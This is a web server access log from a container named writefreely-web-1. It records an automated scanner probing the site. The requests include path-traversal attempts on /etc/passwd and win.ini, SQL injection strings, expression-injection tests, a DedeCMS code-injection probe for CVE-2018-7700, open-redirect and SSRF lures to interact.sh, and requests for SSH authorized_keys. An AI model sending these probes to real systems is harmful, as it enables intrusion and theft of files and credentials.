writefreely-web-1 | 2026-11-03T02:41:51.757632919Z 2026/11/03 02:41:51 "GET /getCorsFile?urlPath=file:///c://windows/win.ini" 301 441.459µs "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15"
writefreely-web-1 | 2026-11-03T02:41:51.757633585Z 2026/11/03 02:41:51 "GET /oauth/authorize?response_type=${13337*73331}&client_id=acme&scope=openid&redirect_uri=http://test" 404 150.041µs "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.2 Safari/605.1.15"
writefreely-web-1 | 2026-11-03T02:41:51.757634335Z 2026/11/03 02:41:51 "GET /etc/groovyconsole.html" 200 9.459µs "Mozilla/5.0 (X11; Linux i686; rv:1.9.6.20) Gecko/ Firefox/12.0"
writefreely-web-1 | 2026-11-03T02:41:51.757635044Z 2026/11/03 02:41:51 "GET /sympa?referer=http://interact.sh&passwd&previous_action&action=login&action_login&previous_list&list&email" 404 124.75µs "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5.1 Safari/605.1.15"
writefreely-web-1 | 2026-11-03T02:41:51.758001502Z 2026/11/03 02:41:51 "GET /signup?next=http://interact.sh/?app.scan/" 200 6.166333ms "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:78.0) Gecko/20100101 Firefox/78.0"
writefreely-web-1 | 2026-11-03T02:41:51.758006002Z 2026/11/03 02:41:51 "GET /settings" 404 11.941208ms "Mozilla/5.0 (X11; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0"
writefreely-web-1 | 2026-11-03T02:41:51.758006752Z 2026/11/03 02:41:51 "GET /?wptouch_switch=desktop&redirect=https://interact.sh/" 200 12.045292ms "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:124.0) Gecko/20100101 Firefox/124.0"
writefreely-web-1 | 2026-11-03T02:41:51.758206460Z 2026/11/03 02:41:51 "GET /cacti.log" 200 10.292µs "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.6 Mobile/15E148 Safari/604.1"
writefreely-web-1 | 2026-11-03T02:41:51.758264127Z 2026/11/03 02:41:51 "GET /getCorsFile?urlPath=file:///c://windows/win.ini" 301 97.458µs "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
writefreely-web-1 | 2026-11-03T02:41:51.758766919Z 2026/11/03 02:41:51 "GET /cacti.log" 200 11.292µs "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0.1 Mobile/15E148 Safari/604.1"
writefreely-web-1 | 2026-11-03T02:41:51.758956085Z 2026/11/03 02:41:51 "GET /sympa?referer=http://interact.sh&passwd&previous_action&action=login&action_login&previous_list&list&email" 404 101.667µs "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0"
writefreely-web-1 | 2026-11-03T02:41:51.759104835Z 2026/11/03 02:41:51 "GET /.ssh/authorized_keys" 200 3.916µs "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.4.1 Safari/605.1.15"
writefreely-web-1 | 2026-11-03T02:41:51.759200877Z 2026/11/03 02:41:51 "GET /overview.asp" 200 39.333µs "Mozilla/5.0 (X11; Linux x86_64; rv:1.9.6.20) Gecko/ Firefox/3.6.2"
writefreely-web-1 | 2026-11-03T02:41:51.759370835Z 2026/11/03 02:41:51 "GET /compress.php?file=../../../../../../../etc/passwd" 200 12.792µs "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0"
writefreely-web-1 | 2026-11-03T02:41:51.759389002Z 2026/11/03 02:41:51 "GET /tag_test_action.php?url=a&token&partcode={dede:field%!n(MISSING)ame=%!s(MISSING)ource%20runphp=%!y(MISSING)es%!}(MISSING)echo%!m(MISSING)d5%22CVE-2018-7700%29%!B(MISSING){/dede:field}" 200 8.958µs "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36"
writefreely-web-1 | 2026-11-03T02:41:51.759404460Z 2026/11/03 02:41:51 "GET /index.php?s=api/goods_detail&goods_id=1%!a(MISSING)nd%!u(MISSING)pdatexml(1,concat(0x7e,md5(999999999),0x7e),1)" 200 5.458µs "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0 Safari/605.1.15"
writefreely-web-1 | 2026-11-03T02:41:51.759475627Z 2026/11/03 02:41:51 "GET /admin" 404 542ns "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/117.0"
writefreely-web-1 | 2026-11-03T02:41:51.759598002Z 2026/11/03 02:41:51 "GET /tag_test_action.php?url=a&token&partcode={dede:field%!n(MISSING)ame=%!s(MISSING)ource%20runphp=%!y(MISSING)es%!}(MISSING)echo%!m(MISSING)d5%22CVE-2018-7700%29%!B(MISSING){/dede:field}" 200 6.833µs "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0.1 Mobile/15E148 Safari/604.1"
writefreely-web-1 | 2026-11-03T02:41:51.759655502Z 2026/11/03 02:41:51 "GET /index.php?s=api/goods_detail&goods_id=1%!a(MISSING)nd%!u(MISSING)pdatexml(1,concat(0x7e,md5(999999999),0x7e),1)" 200 5.958µs "Mozilla/5.0 (Ubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36"
writefreely-web-1 | 2026-11-03T02:41:51.759664044Z 2026/11/03 02:41:51 "GET /category_view.php" 200 8.417µs "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.6"
writefreely-web-1 | 2026-11-03T02:41:51.759682169Z 2026/11/03 02:41:51 "GET /compress.php?file=../../../../../../../etc/passwd" 200 7.166µs "Mozilla/5.0 (Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36"
writefreely-web-1 | 2026-11-03T02:41:51.759690752Z 2026/11/03 02:41:51 "GET /category_view.php" 200 4.667µs "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.2 Safari/605.1.15"
writefreely-web-1 | 2026-11-03T02:41:51.759720877Z 2026/11/03 02:41:51 "GET /admin" 404 542ns "Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"
writefreely-web-1 | 2026-11-03T02:41:51.759833752Z 2026/11/03 02:41:51 "GET /lesson.php?id=-1%!U(MISSING)NION%!S(MISSING)ELECT%!,(MISSING)2,md5(999999999),4,5" 200 10.791µs "Mozilla/5.0 (Kubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36"
writefreely-web-1 | 2026-11-03T02:41:51.759928960Z 2026/11/03 02:41:51 "GET /lesson.php?id=-1%!U(MISSING)NION%!S(MISSING)ELECT%!,(MISSING)2,md5(999999999),4,5" 200 5.666µs "Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/3.6.17"
writefreely-web-1 | 2026-11-03T02:41:51.760011419Z 2026/11/03 02:41:51 "GET /opac_css/getgif.php?chemin=../../../../../../etc/passwd&nomgif=tarik" 200 3.459µs "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.1.1 Safari/605.1.15"
writefreely-web-1 | 2026-11-03T02:41:51.760137210Z 2026/11/03 02:41:51 "GET /login/login.do?message=904293*936237" 200 3.583µs "Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Safari/605.1.15"
writefreely-web-1 | 2026-11-03T02:41:51.760414502Z 2026/11/03 02:41:51 "GET /oauth/authorize?response_type=${13337*73331}&client_id=acme&scope=openid&redirect_uri=http://test" 404 104.375µs "Mozilla/5.0 (X11; Linux i686; rv:1.9.6.20) Gecko/ Firefox/4.0"
writefreely-web-1 | 2026-11-03T02:41:51.760523460Z 2026/11/03 02:41:51 "GET /login/login.do?message=904293*936237" 200 2.291µs "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Mobile/15E148 Safari/604.1"
writefreely-web-1 | 2026-11-03T02:41:51.760564044Z 2026/11/03 02:41:51 "GET /opac_css/getgif.php?chemin=../../../../../../etc/passwd&nomgif=tarik" 200 2.625µs "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0"
writefreely-web-1 | 2026-11-03T02:41:51.760596877Z 2026/11/03 02:41:51 "GET /overview.asp" 200 5.375µs "Mozilla/5.0 (Windows NT 6.2; rv:140.0) Gecko/20100101 Firefox/140.0"
writefreely-web-1 | 2026-11-03T02:41:51.760635835Z 2026/11/03 02:41:51 "GET /.ssh/authorized_keys" 200 2.167µs "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.11 Mobile/15E148 Safari/604.1"
writefreely-web-1 | 2026-11-03T02:41:51.761369752Z 2026/11/03 02:41:51 "GET /include/cacti.log" 200 3.542µs "Mozilla/5.0 (X11; Linux x86_64; rv:1.9.5.20) Gecko/ Firefox/3.6.16"
writefreely-web-1 | 2026-11-03T02:41:51.761639460Z 2026/11/03 02:41:51 "GET /etc/groovyconsole.html" 200 2.083µs "Mozilla/5.0 (Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36"
writefreely-web-1 | 2026-11-03T02:41:51.761723669Z 2026/11/03 02:41:51 "GET /folder_view.php" 200 6.959µs "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0"
writefreely-web-1 | 2026-11-03T02:41:51.761857252Z 2026/11/03 02:41:51 "GET /rails_admin" 404 188.75µs "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/604.3.5 (KHTML, like Gecko) Version/11.0.1 Safari/604.3.5"
writefreely-web-1 | 2026-11-03T02:41:51.762138710Z 2026/11/03 02:41:51 "GET /folder_view.php" 200 5.417µs "Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"
writefreely-web-1 | 2026-11-03T02:41:51.762185960Z 2026/11/03 02:41:51 "GET /rails_admin" 404 157.375µs "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36"
writefreely-web-1 | 2026-11-03T02:41:51.762230919Z 2026/11/03 02:41:51 "GET /include/cacti.log" 200 2.208µs "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36"
writefreely-web-1 | 2026-11-03T02:41:51.762936085Z 2026/11/03 02:41:51 "GET /?lang=../../../../../vendor/topthink/think-trace/src/TraceDebug" 200 619.75µs "WMS/5.0 (Macintosh; Intel Mac OS X 10_15_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36"
writefreely-web-1 | 2026-11-03T02:41:51.763067835Z 2026/11/03 02:41:51 "GET /authorized_keys" 404 148.167µs "Mozilla/5.0 (Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36"
writefreely-web-1 | 2026-11-03T02:41:51.763508002Z 2026/11/03 02:41:51 "GET /.authorized_keys" 200 5.083µs "Mozilla/5.0 (Kubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36"
writefreely-web-1 | 2026-11-03T02:41:51.763529169Z 2026/11/03 02:41:51 "GET /authorized_keys" 404 131.625µs "Mozilla/5.0 (X11; Ubuntu; Linux aarch64; rv:90.0) Gecko/20100101 Firefox/90.0"
writefreely-web-1 | 2026-11-03T02:41:51.763539752Z 2026/11/03 02:41:51 "GET /.authorized_keys" 200 3.416µs "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0"
writefreely-web-1 | 2026-11-03T02:41:52.421543252Z 2026/11/03 02:41:52 "GET /" 200 1.522083ms "Wget"